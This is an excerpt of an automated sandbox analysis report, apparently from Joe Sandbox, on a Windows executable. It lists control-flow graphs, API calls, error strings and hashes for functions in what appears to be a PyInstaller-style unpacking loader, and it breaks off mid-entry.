                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentFeaturePresentProcessProcessor
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 1010374628-0
                                                                                                                                                                                                                                          • Opcode ID: 10bf4b1f0472125ada9b1d6b923a92a2d49e498fcbab652d34985a7b27debbff
                                                                                                                                                                                                                                          • Instruction ID: 546f6c6e3f7b93ae1a480e3133555c3d636c2f3d9d5621ff9c605ad6e79ec076
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 10bf4b1f0472125ada9b1d6b923a92a2d49e498fcbab652d34985a7b27debbff
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: E8029F21B1DA4340FE79BB7AA900279A6A0AF45B90FD58734EDDD4A7D1FE7CA4118330
                                                                                                                                                                                                                                          Function 00007FF79D051950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                                                          control_flow_graph 329 7ff79d051950-7ff79d05198b call 7ff79d0545b0 332 7ff79d051c4e-7ff79d051c72 call 7ff79d05c5c0 329->332 333 7ff79d051991-7ff79d0519d1 call 7ff79d057f80 329->333 338 7ff79d051c3b-7ff79d051c3e call 7ff79d0600bc 333->338 339 7ff79d0519d7-7ff79d0519e7 call 7ff79d060744 333->339 343 7ff79d051c43-7ff79d051c4b 338->343 344 7ff79d051a08-7ff79d051a24 call 7ff79d06040c 339->344 345 7ff79d0519e9-7ff79d051a03 call 7ff79d064f78 call 7ff79d052910 339->345 343->332 351 7ff79d051a45-7ff79d051a5a call 7ff79d064f98 344->351 352 7ff79d051a26-7ff79d051a40 call 7ff79d064f78 call 7ff79d052910 344->352 345->338 359 7ff79d051a7b-7ff79d051afc call 7ff79d051c80 * 2 call 7ff79d060744 351->359 360 7ff79d051a5c-7ff79d051a76 call 7ff79d064f78 call 7ff79d052910 351->360 352->338 371 7ff79d051b01-7ff79d051b14 call 7ff79d064fb4 359->371 360->338 374 7ff79d051b35-7ff79d051b4e call 7ff79d06040c 371->374 375 7ff79d051b16-7ff79d051b30 call 7ff79d064f78 call 7ff79d052910 371->375 381 7ff79d051b6f-7ff79d051b8b call 7ff79d060180 374->381 382 7ff79d051b50-7ff79d051b6a call 7ff79d064f78 call 7ff79d052910 374->382 375->338 389 7ff79d051b8d-7ff79d051b99 call 7ff79d052710 381->389 390 7ff79d051b9e-7ff79d051bac 381->390 382->338 389->338 390->338 393 7ff79d051bb2-7ff79d051bb9 390->393 395 7ff79d051bc1-7ff79d051bc7 393->395 396 7ff79d051bc9-7ff79d051bd6 395->396 397 7ff79d051be0-7ff79d051bef 395->397 398 7ff79d051bf1-7ff79d051bfa 396->398 397->397 397->398 399 7ff79d051bfc-7ff79d051bff 398->399 400 7ff79d051c0f 398->400 399->400 402 7ff79d051c01-7ff79d051c04 399->402 401 7ff79d051c11-7ff79d051c24 400->401 404 7ff79d051c2d-7ff79d051c39 401->404 405 7ff79d051c26 401->405 402->400 403 7ff79d051c06-7ff79d051c09 402->403 403->400 406 7ff79d051c0b-7ff79d051c0d 403->406 404->338 404->395 405->404 406->401
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D057F80: _fread_nolock.LIBCMT ref: 00007FF79D05802A
                                                                                                                                                                                                                                          • _fread_nolock.LIBCMT ref: 00007FF79D051A1B
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D052910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF79D051B6A), ref: 00007FF79D05295E
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _fread_nolock$CurrentProcess
                                                                                                                                                                                                                                          • String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
                                                                                                                                                                                                                                          • API String ID: 2397952137-3497178890
                                                                                                                                                                                                                                          • Opcode ID: 71146916c0c9099706f714157d3aef073617a07ebfbf74c53cf41f504c15e58d
                                                                                                                                                                                                                                          • Instruction ID: 8444b843eaedd22ea379e4d5ff3be2f74fdb9c3f8347abde07fd90011a8a6d11
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 71146916c0c9099706f714157d3aef073617a07ebfbf74c53cf41f504c15e58d
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: F0817C71A0CA8295EA30AB3AD4402F9B3A0EF48784FC44531E9CD47786FE3DE5858761
                                                                                                                                                                                                                                          Function 00007FF79D051600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                                                          control_flow_graph 407 7ff79d051600-7ff79d051611 408 7ff79d051637-7ff79d051651 call 7ff79d0545b0 407->408 409 7ff79d051613-7ff79d05161c call 7ff79d051050 407->409 416 7ff79d051653-7ff79d051681 call 7ff79d064f78 call 7ff79d052910 408->416 417 7ff79d051682-7ff79d05169c call 7ff79d0545b0 408->417 414 7ff79d05162e-7ff79d051636 409->414 415 7ff79d05161e-7ff79d051629 call 7ff79d052710 409->415 415->414 424 7ff79d05169e-7ff79d0516b3 call 7ff79d052710 417->424 425 7ff79d0516b8-7ff79d0516cf call 7ff79d060744 417->425 431 7ff79d051821-7ff79d051824 call 7ff79d0600bc 424->431 432 7ff79d0516f9-7ff79d0516fd 425->432 433 7ff79d0516d1-7ff79d0516f4 call 7ff79d064f78 call 7ff79d052910 425->433 440 7ff79d051829-7ff79d05183b 431->440 434 7ff79d051717-7ff79d051737 call 7ff79d064fb4 432->434 435 7ff79d0516ff-7ff79d05170b call 7ff79d051210 432->435 446 7ff79d051819-7ff79d05181c call 7ff79d0600bc 433->446 447 7ff79d051739-7ff79d05175c call 7ff79d064f78 call 7ff79d052910 434->447 448 7ff79d051761-7ff79d05176c 434->448 443 7ff79d051710-7ff79d051712 435->443 443->446 446->431 460 7ff79d05180f-7ff79d051814 447->460 451 7ff79d051802-7ff79d05180a call 7ff79d064fa0 448->451 452 7ff79d051772-7ff79d051777 448->452 451->460 453 7ff79d051780-7ff79d0517a2 call 7ff79d06040c 452->453 462 7ff79d0517da-7ff79d0517e6 call 7ff79d064f78 453->462 463 7ff79d0517a4-7ff79d0517bc call 7ff79d060b4c 453->463 460->446 470 7ff79d0517ed-7ff79d0517f8 call 7ff79d052910 462->470 468 7ff79d0517be-7ff79d0517c1 463->468 469 7ff79d0517c5-7ff79d0517d8 call 7ff79d064f78 463->469 468->453 471 7ff79d0517c3 468->471 469->470 475 7ff79d0517fd 470->475 471->475 475->451
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentProcess
                                                                                                                                                                                                                                          • String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
                                                                                                                                                                                                                                          • API String ID: 2050909247-1550345328
                                                                                                                                                                                                                                          • Opcode ID: c8f796b67a401fab46a8af41fa09abf9f07d0bbd6b7647e2c369b49948bcf89b
                                                                                                                                                                                                                                          • Instruction ID: e69d45124f1c67bc5337706523340b48c7a9e7e03cbe9ce5f7e8110bb8fc5f1e
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: c8f796b67a401fab46a8af41fa09abf9f07d0bbd6b7647e2c369b49948bcf89b
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 29517A61B0CA4792EA30BB7AA8001B9A3A0FF44794FC44635EE9C07796FE3CE555C361
                                                                                                                                                                                                                                          Function 00007FF79D058850 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • GetTempPathW.KERNEL32(?,?,00000000,00007FF79D053CBB), ref: 00007FF79D0588F4
                                                                                                                                                                                                                                          • GetCurrentProcessId.KERNEL32(?,00000000,00007FF79D053CBB), ref: 00007FF79D0588FA
                                                                                                                                                                                                                                          • CreateDirectoryW.KERNELBASE(?,00000000,00007FF79D053CBB), ref: 00007FF79D05893C
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D058A20: GetEnvironmentVariableW.KERNEL32(00007FF79D05388E), ref: 00007FF79D058A57
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D058A20: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF79D058A79
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D0682A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79D0682C1
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D052810: MessageBoxW.USER32 ref: 00007FF79D0528EA
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
                                                                                                                                                                                                                                          • API String ID: 3563477958-1339014028
                                                                                                                                                                                                                                          • Opcode ID: e7f7d737786deb8485312a2eb98f4769331debcd6954f8bf1608d04e150fa3ce
                                                                                                                                                                                                                                          • Instruction ID: 2de55fa10701e996c05a6b65ab2b7c1d20acf42a3b695954645b2862e584bb26
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: e7f7d737786deb8485312a2eb98f4769331debcd6954f8bf1608d04e150fa3ce
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: DC419011B1DA4280EA34BB7EA8562F99291EF8A784FC40131ED8D477D6FE7CE5418720
                                                                                                                                                                                                                                          Function 00007FF79D051210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                                                          control_flow_graph 599 7ff79d051210-7ff79d05126d call 7ff79d05bdf0 602 7ff79d051297-7ff79d0512af call 7ff79d064fb4 599->602 603 7ff79d05126f-7ff79d051296 call 7ff79d052710 599->603 608 7ff79d0512d4-7ff79d0512e4 call 7ff79d064fb4 602->608 609 7ff79d0512b1-7ff79d0512cf call 7ff79d064f78 call 7ff79d052910 602->609 615 7ff79d051309-7ff79d05131b 608->615 616 7ff79d0512e6-7ff79d051304 call 7ff79d064f78 call 7ff79d052910 608->616 620 7ff79d051439-7ff79d05146d call 7ff79d05bad0 call 7ff79d064fa0 * 2 609->620 619 7ff79d051320-7ff79d051345 call 7ff79d06040c 615->619 616->620 626 7ff79d05134b-7ff79d051355 call 7ff79d060180 619->626 627 7ff79d051431 619->627 626->627 635 7ff79d05135b-7ff79d051367 626->635 627->620 637 7ff79d051370-7ff79d051398 call 7ff79d05a230 635->637 640 7ff79d05139a-7ff79d05139d 637->640 641 7ff79d051416-7ff79d05142c call 7ff79d052710 637->641 642 7ff79d05139f-7ff79d0513a9 640->642 643 7ff79d051411 640->643 641->627 645 7ff79d0513ab-7ff79d0513b9 call 7ff79d060b4c 642->645 646 7ff79d0513d4-7ff79d0513d7 642->646 643->641 652 7ff79d0513be-7ff79d0513c1 645->652 647 7ff79d0513d9-7ff79d0513e7 call 7ff79d079ea0 646->647 648 7ff79d0513ea-7ff79d0513ef 646->648 647->648 648->637 651 7ff79d0513f5-7ff79d0513f8 648->651 654 7ff79d05140c-7ff79d05140f 651->654 655 7ff79d0513fa-7ff79d0513fd 651->655 656 7ff79d0513c3-7ff79d0513cd call 7ff79d060180 652->656 657 7ff79d0513cf-7ff79d0513d2 652->657 654->627 655->641 658 7ff79d0513ff-7ff79d051407 655->658 656->648 656->657 657->641 658->619
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentProcess
                                                                                                                                                                                                                                          • String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
                                                                                                                                                                                                                                          • API String ID: 2050909247-2813020118
                                                                                                                                                                                                                                          • Opcode ID: 3c9a59ff3bb3cad3576c5a79fada2bf92f4883a0976c2eb1c2674206ff102632
                                                                                                                                                                                                                                          • Instruction ID: f7d271c89e89860ae99c7fe464190d4c739d37c652f1403aa0a50b149d1a840d
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3c9a59ff3bb3cad3576c5a79fada2bf92f4883a0976c2eb1c2674206ff102632
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9B51C122A0CA4281EA70BB7AA4103BAA290FF85794FC44635ED8D477C9FE3CE541C720
                                                                                                                                                                                                                                          Function 00007FF79D06ED80 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • FreeLibrary.KERNEL32(?,?,?,00007FF79D06F11A,?,?,-00000018,00007FF79D06ADC3,?,?,?,00007FF79D06ACBA,?,?,?,00007FF79D065FAE), ref: 00007FF79D06EEFC
                                                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,?,?,00007FF79D06F11A,?,?,-00000018,00007FF79D06ADC3,?,?,?,00007FF79D06ACBA,?,?,?,00007FF79D065FAE), ref: 00007FF79D06EF08
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: AddressFreeLibraryProc
                                                                                                                                                                                                                                          • String ID: api-ms-$ext-ms-
                                                                                                                                                                                                                                          • API String ID: 3013587201-537541572
                                                                                                                                                                                                                                          • Opcode ID: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
                                                                                                                                                                                                                                          • Instruction ID: e8181057edb1e32a14292f4f70999315b4bbac2d05b92114095a6ae3bc07836f
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 44411221B1DB0241FA35EB7E9804679A691BF49B90FC88639ED9D4B384FE3DE4058320
                                                                                                                                                                                                                                          Function 00007FF79D0536B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • GetModuleFileNameW.KERNEL32(?,00007FF79D053804), ref: 00007FF79D0536E1
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,00007FF79D053804), ref: 00007FF79D0536EB
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D052C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF79D053706,?,00007FF79D053804), ref: 00007FF79D052C9E
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D052C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF79D053706,?,00007FF79D053804), ref: 00007FF79D052D63
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D052C50: MessageBoxW.USER32 ref: 00007FF79D052D99
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
                                                                                                                                                                                                                                          • String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
                                                                                                                                                                                                                                          • API String ID: 3187769757-2863816727
                                                                                                                                                                                                                                          • Opcode ID: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
                                                                                                                                                                                                                                          • Instruction ID: d6176f006a78b9aeff12c895eaf8d42185f97d0ef4ed4a715b6a6c057989b2b1
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: D0212C61F1C64281FA30BB7AE8553BAA350BF88354FC04132EADD866D5FE2CE505C764
                                                                                                                                                                                                                                          Function 00007FF79D06BACC Relevance: 10.8, APIs: 7, Instructions: 290COMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                                                          control_flow_graph 744 7ff79d06bacc-7ff79d06baf2 745 7ff79d06bb0d-7ff79d06bb11 744->745 746 7ff79d06baf4-7ff79d06bb08 call 7ff79d064f58 call 7ff79d064f78 744->746 748 7ff79d06bee7-7ff79d06bef3 call 7ff79d064f58 call 7ff79d064f78 745->748 749 7ff79d06bb17-7ff79d06bb1e 745->749 764 7ff79d06befe 746->764 766 7ff79d06bef9 call 7ff79d06a950 748->766 749->748 752 7ff79d06bb24-7ff79d06bb52 749->752 752->748 753 7ff79d06bb58-7ff79d06bb5f 752->753 756 7ff79d06bb78-7ff79d06bb7b 753->756 757 7ff79d06bb61-7ff79d06bb73 call 7ff79d064f58 call 7ff79d064f78 753->757 762 7ff79d06bee3-7ff79d06bee5 756->762 763 7ff79d06bb81-7ff79d06bb87 756->763 757->766 767 7ff79d06bf01-7ff79d06bf18 762->767 763->762 768 7ff79d06bb8d-7ff79d06bb90 763->768 764->767 766->764 768->757 771 7ff79d06bb92-7ff79d06bbb7 768->771 773 7ff79d06bbb9-7ff79d06bbbb 771->773 774 7ff79d06bbea-7ff79d06bbf1 771->774 777 7ff79d06bbbd-7ff79d06bbc4 773->777 778 7ff79d06bbe2-7ff79d06bbe8 773->778 775 7ff79d06bbc6-7ff79d06bbdd call 7ff79d064f58 call 7ff79d064f78 call 7ff79d06a950 774->775 776 7ff79d06bbf3-7ff79d06bc1b call 7ff79d06d66c call 7ff79d06a9b8 * 2 774->776 805 7ff79d06bd70 775->805 807 7ff79d06bc1d-7ff79d06bc33 call 7ff79d064f78 call 7ff79d064f58 776->807 808 7ff79d06bc38-7ff79d06bc63 call 7ff79d06c2f4 776->808 777->775 777->778 779 7ff79d06bc68-7ff79d06bc7f 778->779 782 7ff79d06bcfa-7ff79d06bd04 call 7ff79d07398c 779->782 783 7ff79d06bc81-7ff79d06bc89 779->783 794 7ff79d06bd8e 782->794 795 7ff79d06bd0a-7ff79d06bd1f 782->795 783->782 786 7ff79d06bc8b-7ff79d06bc8d 783->786 786->782 792 7ff79d06bc8f-7ff79d06bca5 786->792 792->782 797 7ff79d06bca7-7ff79d06bcb3 792->797 803 7ff79d06bd93-7ff79d06bdb3 ReadFile 794->803 795->794 799 7ff79d06bd21-7ff79d06bd33 GetConsoleMode 795->799 797->782 801 7ff79d06bcb5-7ff79d06bcb7 797->801 799->794 804 7ff79d06bd35-7ff79d06bd3d 799->804 801->782 806 7ff79d06bcb9-7ff79d06bcd1 801->806 809 7ff79d06bead-7ff79d06beb6 GetLastError 803->809 810 7ff79d06bdb9-7ff79d06bdc1 803->810 804->803 813 7ff79d06bd3f-7ff79d06bd61 ReadConsoleW 804->813 816 7ff79d06bd73-7ff79d06bd7d call 7ff79d06a9b8 805->816 806->782 817 7ff79d06bcd3-7ff79d06bcdf 806->817 807->805 808->779 814 7ff79d06beb8-7ff79d06bece call 7ff79d064f78 call 7ff79d064f58 809->814 815 7ff79d06bed3-7ff79d06bed6 809->815 810->809 811 7ff79d06bdc7 810->811 819 7ff79d06bdce-7ff79d06bde3 811->819 821 7ff79d06bd63 GetLastError 813->821 822 7ff79d06bd82-7ff79d06bd8c 813->822 814->805 826 7ff79d06bedc-7ff79d06bede 815->826 827 7ff79d06bd69-7ff79d06bd6b call 7ff79d064eec 815->827 816->767 817->782 825 7ff79d06bce1-7ff79d06bce3 817->825 819->816 829 7ff79d06bde5-7ff79d06bdf0 819->829 821->827 822->819 825->782 833 7ff79d06bce5-7ff79d06bcf5 825->833 826->816 827->805 836 7ff79d06be17-7ff79d06be1f 829->836 837 7ff79d06bdf2-7ff79d06be0b call 7ff79d06b6e4 829->837 833->782 840 7ff79d06be9b-7ff79d06bea8 call 7ff79d06b524 836->840 841 7ff79d06be21-7ff79d06be33 836->841 844 7ff79d06be10-7ff79d06be12 837->844 840->844 845 7ff79d06be8e-7ff79d06be96 841->845 846 7ff79d06be35 841->846 844->816 845->816 848 7ff79d06be3a-7ff79d06be41 846->848 849 7ff79d06be7d-7ff79d06be88 848->849 850 7ff79d06be43-7ff79d06be47 848->850 849->845 851 7ff79d06be49-7ff79d06be50 850->851 852 7ff79d06be63 850->852 851->852 853 7ff79d06be52-7ff79d06be56 851->853 854 7ff79d06be69-7ff79d06be79 852->854 853->852 856 7ff79d06be58-7ff79d06be61 853->856 854->848 855 7ff79d06be7b 854->855 855->845 856->854
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3215553584-0
                                                                                                                                                                                                                                          • Opcode ID: 07c5dcf76cbe3182a9f46e495b791f87a2923bbe72b553d2f04cfdf557d03735
                                                                                                                                                                                                                                          • Instruction ID: f5568a479504412e0c416643237c0372921ed199207ffd27d45ad46ff0bdcd42
